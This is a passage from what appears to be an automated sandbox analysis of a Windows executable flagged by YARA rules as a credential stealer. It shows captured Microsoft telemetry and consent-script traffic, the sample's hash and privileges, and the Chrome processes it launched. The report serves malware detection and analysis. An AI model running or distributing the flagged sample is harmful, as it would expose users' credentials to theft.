2024-12-07 16:36:17 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.7	49872	13.107.246.63	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:17 UTC	633	OUT	GET /scripts/c/ms.jsll-4.min.js HTTP/1.1 Host: js.monitor.azure.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://learn.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: 0x8DCEC757C1AD1D1 If-Modified-Since: Mon, 14 Oct 2024 17:27:31 GMT
2024-12-07 16:36:17 UTC	807	IN	HTTP/1.1 304 Not Modified Date: Sat, 07 Dec 2024 16:36:17 GMT Connection: close Vary: Accept-Encoding Cache-Control: no-transform, public, max-age=1800, immutable Last-Modified: Mon, 14 Oct 2024 17:27:31 GMT ETag: 0x8DCEC757C1AD1D1 x-ms-request-id: 4b8bd197-901e-0069-5e06-47f993000000 x-ms-version: 2009-09-19 x-ms-meta-jssdkver: 4.3.3 x-ms-meta-jssdksrc: [cdn]/scripts/c/ms.jsll-4.3.3.min.js Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,x-ms-meta-jssdkver,x-ms-meta-jssdksrc,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20241207T163617Z-r1cf579d778dfdgnhC1EWRd3w000000002kg000000008rva x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.7	49873	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:18 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:18 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: f1085035-901e-007b-3808-48ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163618Z-r1cf579d778x776bhC1EWRdk8000000002sg000000007xah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:18 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.7	49874	13.107.246.42	443	3628	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:18 UTC	373	OUT	GET /mscc/lib/v2/wcp-consent.js HTTP/1.1 Host: wcpstatic.microsoft.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-07 16:36:18 UTC	713	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:18 GMT Content-Type: application/javascript Content-Length: 52717 Connection: close Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Length,Date,Transfer-Encoding Age: 34244 Cache-Control: max-age=43200 Content-MD5: QT/MdZzBmCG2G2lBgIsptQ== Etag: 0x8DA85F6F74C6D08 Last-Modified: Wed, 24 Aug 2022 17:34:58 GMT Vary: Accept-Encoding X-Cache: CONFIG_NOCACHE x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: ea66b457-501e-0014-5576-4888b0000000 x-ms-version: 2009-09-19 x-azure-ref: 20241207T163618Z-r1cf579d778qgtz2hC1EWRmgks00000002t000000000180p Accept-Ranges: bytes
2024-12-07 16:36:18 UTC	15671	IN	Data Raw: 76 61 72 20 57 63 70 43 6f 6e 73 65 6e 74 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 7b 32 32 39 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 77 69 6e 64 6f 77 2c 65 2e 65 78 70 6f 72 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 7b 7d 3b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 74 5b 6e 5d 29 72 65 74 75 72 6e 20 74 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 72 3d 74 5b 6e 5d 3d 7b 69 3a 6e 2c 6c 3a 21 31 2c 65 78 70 6f 72 74 73 3a 7b 7d 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 72 2e 65 78 70 6f 72 74 73 2c 72 2c 72 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 72 2e 6c 3d 21 30 2c 72 2e 65 78 70 6f 72 74 73 7d 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 74 2c 6f 2e 64 3d 66 75 6e 63 74 69 6f 6e 28 65 Data Ascii: var WcpConsent;!function(){var e={229:function(e){window,e.exports=function(e){var t={};function o(n){if(t[n])return t[n].exports;var r=t[n]={i:n,l:!1,exports:{}};return e[n].call(r.exports,r,r.exports,o),r.l=!0,r.exports}return o.m=e,o.c=t,o.d=function(e
2024-12-07 16:36:18 UTC	16384	IN	Data Raw: 29 7b 72 65 74 75 72 6e 20 65 3f 65 2e 72 65 70 6c 61 63 65 28 2f 26 2f 67 2c 22 26 61 6d 70 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3c 2f 67 2c 22 26 6c 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 3e 2f 67 2c 22 26 67 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 22 2f 67 2c 22 26 71 75 6f 74 3b 22 29 2e 72 65 70 6c 61 63 65 28 2f 27 2f 67 2c 22 26 23 30 33 39 3b 22 29 3a 22 22 7d 2c 65 7d 28 29 2c 61 3d 6e 2e 6c 6f 63 61 6c 73 2c 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 65 28 65 2c 74 2c 6f 2c 6e 2c 72 2c 69 2c 61 29 7b 74 68 69 73 2e 64 69 72 65 63 74 69 6f 6e 3d 22 6c 74 72 22 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 46 6f 63 75 73 45 6c 65 6d 65 6e 74 42 65 66 6f 72 65 50 6f 70 75 70 3d 6e 75 6c 6c 2c 74 68 69 73 2e 63 6f 6f 6b 69 Data Ascii: ){return e?e.replace(/&/g,"&").replace(/</g,"<").replace(/>/g,">").replace(/"/g,""").replace(/'/g,"'"):""},e}(),a=n.locals,l=function(){function e(e,t,o,n,r,i,a){this.direction="ltr",this.previousFocusElementBeforePopup=null,this.cooki
2024-12-07 16:36:18 UTC	16384	IN	Data Raw: 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c 61 62 65 6c 3a 68 6f 76 65 72 3a 3a 61 66 74 65 72 20 7b 5c 6e 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 22 2b 65 5b 22 72 61 64 69 6f 2d 62 75 74 74 6f 6e 2d 68 6f 76 65 72 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 22 5d 2b 22 20 21 69 6d 70 6f 72 74 61 6e 74 3b 5c 6e 20 20 20 20 20 20 20 20 7d 22 2c 74 2b 3d 27 69 6e 70 75 74 5b 74 79 70 65 3d 22 72 61 64 69 6f 22 5d 2e 27 2b 63 2e 63 6f 6f 6b 69 65 49 74 65 6d 52 61 64 69 6f 42 74 6e 2b 22 20 2b 20 6c Data Ascii: or"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + label:hover::after {\n background-color: "+e["radio-button-hover-background-color"]+" !important;\n }",t+='input[type="radio"].'+c.cookieItemRadioBtn+" + l
2024-12-07 16:36:19 UTC	4278	IN	Data Raw: 65 6d 65 6e 74 42 79 49 64 28 22 77 63 70 43 6f 6e 73 65 6e 74 42 61 6e 6e 65 72 43 74 72 6c 22 29 7d 2c 65 2e 65 6d 69 74 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 6f 72 28 76 61 72 20 74 3d 5b 5d 2c 6f 3d 31 3b 6f 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 6f 2b 2b 29 74 5b 6f 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 6f 5d 3b 76 61 72 20 6e 3d 74 68 69 73 2e 65 76 65 6e 74 73 5b 65 5d 3b 6e 26 26 6e 2e 66 6f 72 45 61 63 68 28 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 29 29 7d 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 65 2e 61 64 64 45 76 65 6e 74 Data Ascii: ementById("wcpConsentBannerCtrl")},e.emit=function(e){for(var t=[],o=1;o<arguments.length;o++)t[o-1]=arguments[o];var n=this.events[e];n&&n.forEach((function(e){e.apply(null,t)}))},e.prototype.addEventListener=function(e,t,o){e.addEventListener?e.addEvent

Session ID	Source IP	Source Port	Destination IP	Destination Port
146	192.168.2.7	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:18 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:18 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: a36eb884-e01e-0051-4c04-4884b2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163618Z-r1cf579d778v97q7hC1EWRf95c00000002d000000000855h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:18 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
147	192.168.2.7	49878	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:18 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:18 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: 447ddde3-501e-0047-290a-48ce6c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163618Z-r1cf579d7784wpmvhC1EWRk4cn00000002bg000000003fv6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:19 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
148	192.168.2.7	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:19 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:19 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 848b85bb-b01e-0053-2106-48cdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163619Z-r1cf579d77867vg8hC1EWR8knc00000002r0000000004xd6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:19 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
149	192.168.2.7	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 16:36:19 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 16:36:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 16:36:19 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 1c840c04-c01e-0034-5806-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T163619Z-r1cf579d778bb9vvhC1EWRs95400000002eg000000004zcg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 16:36:19 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Target ID:	0
Start time:	11:35:08
Start date:	07/12/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xa90000
File size:	1'889'792 bytes
MD5 hash:	D780C527E77E5D364222F238A1BE814D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1416938967.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1515688836.00000000009B6000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1515728672.00000000009BD000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1515745339.00000000009C1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1502676265.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1515709728.00000000009B8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1457195081.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1374007611.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1515797522.00000000009C2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1502179262.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1515857851.00000000009C2000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1379023595.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1416860077.00000000009B1000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1502740986.00000000009B5000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1417413479.00000000009AA000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:39:38
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	12:39:38
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2012 --field-trial-handle=1928,i,17091623068724478487,9148228369810472869,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	12:39:41
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=file.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	12:39:41
Start date:	07/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1992 --field-trial-handle=2000,i,7709211645445571266,4399532213566527057,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
